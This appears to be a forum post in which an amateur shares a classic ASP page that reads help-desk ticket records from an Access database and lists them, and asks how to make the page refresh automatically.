<center>IS TICKET SUBMISSION </center> <hr> <% 'declare your variables Dim connection, recordset Dim sSQL, sConnString 'declare SQL statement that will query the database sSQL="SELECT * FROM Users_tbl" 'create an ADO connection and recordset object Set connection = Server.CreateObject("ADODB.connection") Set recordset = Server.CreateObject("ADODB.Recordset") 'define the connection string, specify database 'driver and the location of database sConnString="PROVIDER=Microsoft.Jet.OLEDB.4.0;" & _ "Data Source=" & Server.MapPath("Users.mdb") 'Open the connection to the database Connection.Open sConnString 'Open the recordset object, executing the SQL Recordset.Open sSQL, Connection 'Looping through the records until the end of the records Do while Not recordset.eof Response.Write "Name : " & recordset("name") & "<br>" Response.Write "Phone : " & recordset("Phone") & "<br>" Response.Write "Comments : " & recordset("comments") & "<br>" Response.Write "Date : " & recordset("Date") & "<br>" Response.Write "Time : " & recordset("Time") & "<br><hr>" 'move on to the next record recordset.MoveNext loop 'Now close the recordset and the connection object recordset.Close Set recordset = Nothing connection.Close Set connection = Nothing %> <a name='bottom'> </a> </body> </html> I threw in the rest of the script. It pulls data from access database. Then I can just keep my browser up and watch my tickets come in. However, I can only get one or the other to work but not both. It's hassel to keep refreshing the script. I tried a meta tag for refresh. And used the bottom script. But that doen't work. I know, I am horrible hack.. Any suggestions or actual script would be wonderful |